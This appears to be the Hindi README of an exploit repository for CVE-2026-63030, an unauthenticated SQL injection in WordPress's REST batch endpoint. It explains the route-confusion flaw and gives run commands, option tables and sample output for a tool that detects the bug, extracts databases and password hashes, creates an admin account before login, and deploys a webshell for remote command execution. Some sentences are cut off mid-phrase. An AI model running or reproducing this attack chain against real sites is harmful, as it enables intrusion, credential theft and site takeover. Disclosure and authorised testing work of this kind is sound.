
CVE-2026-63030 - WordPress REST Batch Route-Confusion SQL Injection प्रूफ ऑफ कॉन्सेप्ट
WordPress REST बैच रूट-कन्फ्यूज़न SQL इंजेक्शन (CVE-2026-63030) प्रूफ ऑफ कॉन्सेप्ट
शोध, एक्सप्लॉइट विकास और दस्तावेज़ीकरण: Ch4120N
यह रिपॉजिटरी और इसके साथ आने वाला टूल (exploit.py) पूर्ण रूप से केवल शैक्षिक उद्देश्यों, अधिकृत पेनेट्रेशन टेस्टिंग और सुरक्षा अनुसंधान के लिए है।
बिना स्पष्ट, पूर्व, लिखित सहमति के लक्ष्यों के विरुद्ध इस एक्सप्लॉइट का उपयोग करना अवैध है और वैश्विक स्तर पर कंप्यूटर धोखाधड़ी और दुरुपयोग कानूनों का उल्लंघन है। लेखक (Ch4120N) इस कोड के उपयोग से उत्पन्न किसी भी दुरुपयोग, क्षति या कानूनी परिणामों के लिए बिल्कुल भी उत्तरदायी नहीं है। हमेशा कानून की सीमा के भीतर कार्य करें और उचित प्राधिकरण प्राप्त करें।
CVE-2026-63030 एक गंभीर, बिना प्रमाणीकरण वाली भेद्यता है जो WordPress REST API को प्रभावित करती है। यह नेस्टेड बैच प्रोसेसिंग एंडपॉइंट (/wp-json/batch/v1 या /?rest_route=/batch/v1) के भीतर एक रूट-कन्फ्यूज़न बग का फायदा उठाती है।
जब WordPress REST API अनुरोधों के एक बैच को प्रोसेस करता है, तो यह निष्पादन से पहले प्रत्येक उप-अनुरोध को उसके विशिष्ट स्कीमा के विरुद्ध मान्य करता है। हालाँकि, आंतरिक रूटिंग पॉइंटर द्वारा जानबूझकर विकृत पथों (जैसे ///) को संभालने के तरीके में एक दोष के कारण, मान्यता स्कीमा वास्तविक निष्पादन हैंडलर से असंयोजित हो जाती है।
/wp/v2/users एंडपॉइंट (जो author_exclude स्वीकार नहीं करता) को लक्षित करने वाला अनुरोध /wp/v2/posts हैंडलर द्वारा निष्पादित हो जाता है। अस्वच्छित author_exclude पैरामीटर सीधे WP_Query के author__not_in क्लॉज़ में पास हो जाता है, जिसके परिणामस्वरूप बिना प्रमाणीकरण वाला SQL इंजेक्शन होता है।oembed_cache पोस्ट आईडी की पहचान करने के लिए किया जाता है। फिर एक्सप्लॉइट नेविगेशन मेनू कैश को पॉइज़न करने के लिए Customizer changeset पेलोड का उपयोग करता है, जिससे WordPress को किसी मौजूदा व्यवस्थापक के संदर्भ में उपयोगकर्ता-निर्माण अनुरोध निष्पादित करने के लिए धोखा दिया जाता है।pip install की आवश्यकता नहीं है।exploit.py) में सुव्यवस्थित रूप से व्यवस्थित हैं।WP_Post पंक्ति बनाकर इन-बैंड निष्कर्षण (प्रति मान 1 अनुरोध)।WP_DEBUG_DISPLAY सक्षम है तो EXTRACTVALUE() XPATH त्रुटियों का लाभ उठाता है।cd समर्थन)।कोई तृतीय-पक्ष पैकेज आवश्यक नहीं है। सुनिश्चित करें कि आपके पास Python 3.8 या उच्चतर स्थापित है।
# Clone the repository
git clone https://github.com/Ch4120N/CVE-2026-63030.git
cd CVE-2026-63030
# Make the script executable
chmod +x exploit.py
# Verify Python version
python3 --version
# Executing the script
python3 exploit.py
एक्सप्लॉइट तीन मुख्य उप-कमांडों में विभाजित है: check, read, और shell।
ये विकल्प सभी उप-कमांडों पर लागू होते हैं:
| विकल्प | विवरण | डिफ़ॉल्ट |
|---|---|---|
url | लक्ष्य आधार URL (जैसे, http://target.com) | आवश्यक |
--rest-route | (पर्मालिंक अक्षम साइटों के लिए) /wp-json/batch/v1 के बजाय /?rest_route=/batch/v1 का उपयोग करें। | False |
--timeout | HTTP अनुरोध टाइमआउट सेकंडों में। | 30.0 |
--proxy | HTTP/HTTPS प्रॉक्सी (जैसे, http://127.0.0.1:8080)। | None |
check - भेद्यता का पता लगानाडेटा निकाले बिना रूट-कन्फ्यूज़न मार्करों की उपस्थिति की पुष्टि करने और SQLi टाइमिंग का परीक्षण करने के लिए लक्ष्य की सुरक्षित रूप से जाँच करता है।
| विकल्प | विवरण | डिफ़ॉल्ट |
|---|---|---|
--sleep | --confirm-sqli फ़ॉलबैक द्वारा उपयोग की जाने वाली SQL टाइमिंग देरी (सेकंड)। | 3.0 |
--samples | परीक्षण के लिए बेसलाइन/विलंबित SQL टाइमिंग जोड़ियों की संख्या। | 3 |
--confirm-sqli | एक सक्रिय SQLi पुष्टिकरण पेलोड भेजें (थोड़ी देरी जोड़ता है)। | False |
read - डेटाबेस निष्कर्षणSQL इंजेक्शन के माध्यम से सीधे डेटाबेस से डेटा निकालता है।
| विकल्प | विवरण | डिफ़ॉल्ट |
|---|---|---|
--preset | त्वरित निष्कर्षण प्रीसेट: fingerprint (संस्करण/उपयोगकर्ता/डीबी) या users (लॉगिन/हैश)। | fingerprint |
--query | एक कस्टम स्केलर SQL एक्सप्रेशन निष्पादित करें (जैसे, "SELECT @@version")। | None |
--prefix | डेटाबेस तालिका उपसर्ग। | wp_ |
--max-length | प्रति मान निकाले जाने वाले अधिकतम वर्ण। | 128 |
--technique | निष्कर्षण तकनीक: auto, union, error, या blind। | auto |
shell - रिमोट कोड निष्पादनवेबशेल तैनात करता है और कमांड निष्पादित करता है। यदि कोई क्रेडेंशियल प्रदान नहीं किया जाता है, तो यह स्वचालित रूप से प्री-ऑथ एडमिन निर्माण ब्रिज को ट्रिगर करता है।
| विकल्प | विवरण | डिफ़ॉल्ट |
|---|---|---|
--user | व्यवस्थापक उपयोगकर्ता नाम। (प्री-ऑथ ब्रिज का उपयोग करने के लिए छोड़ दें)। | None |
--password | व्यवस्थापक पासवर्ड। (प्री-ऑथ ब्रिज का उपयोग करने के लिए छोड़ दें)। | None |
--cmd | लक्ष्य पर चलाने के लिए एकल कमांड। | None |
-i, --interactive | तैनाती के बाद एक इंटरैक्टिव शेल (REPL) खोलें। | False |
नीचे टूल के वास्तविक दुनिया के उदाहरण दिए गए हैं।
$ python3 exploit.py check http://vulnerable-wordpress.local --confirm-sqli
[*] WordPress markers found (wp-content / wp-includes / wp-json)
[*] Public WordPress version hints:
- 6.9.2 via REST API generator (exploit affected range) - WordPress 6.9.2
[!] A public version hint falls in the exploit affected range; verify internally or confirm with authorization.
[*] Batch probe -> HTTP 207; markers matched: parse_path_failed, block_cannot_read, rest_batch_not_allowed
[+] VULNERABLE — batch route-confusion behavior detected.
[*] Sending active SQLi confirmation payload...
[+] SQLi confirmed — UNION fake-post read returned data.
$ python3 exploit.py read http://vulnerable-wordpress.local --preset fingerprint --technique union
[+] UNION extraction available (in-band, one request per value) — using it.
[+] MySQL version: 10.6.12-MariaDB-0ubuntu0.22.04.1
[+] Database user: wp_user@localhost
[+] Database name: wordpress_db
[*] 3 request(s) sent.